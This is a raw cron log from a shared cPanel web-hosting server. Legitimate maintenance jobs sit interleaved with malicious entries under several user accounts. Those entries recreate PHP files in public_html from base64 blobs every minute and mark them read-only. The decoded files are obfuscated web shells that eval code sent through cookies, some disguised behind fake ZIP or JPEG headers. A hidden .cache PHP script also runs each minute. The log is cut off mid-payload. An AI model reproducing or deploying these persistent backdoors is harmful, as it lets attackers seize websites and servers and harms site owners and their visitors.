Jun  7 05:21:02 medusa CROND[6762]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:21:02 medusa CROND[6764]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:21:02 medusa CROND[6763]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 05:21:02 medusa CROND[6765]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:21:02 medusa CROND[6766]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:21:02 medusa CROND[6768]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:21:02 medusa CROND[6769]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 05:21:02 medusa CROND[6770]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:21:02 medusa CROND[6767]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:21:02 medusa CROND[6772]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:21:02 medusa CROND[6775]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:21:02 medusa CROND[6776]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 05:21:02 medusa CROND[6778]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:22:02 medusa CROND[8194]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:22:02 medusa CROND[8195]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:22:02 medusa CROND[8196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:22:02 medusa CROND[8197]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 05:22:02 medusa CROND[8198]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:22:02 medusa CROND[8199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:22:02 medusa CROND[8200]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:22:02 medusa CROND[8201]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:22:02 medusa CROND[8202]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:22:02 medusa CROND[8206]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:22:02 medusa CROND[8204]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 05:22:02 medusa CROND[8207]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:22:02 medusa CROND[8209]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:22:02 medusa CROND[8210]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:23:01 medusa CROND[9563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:23:01 medusa CROND[9575]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0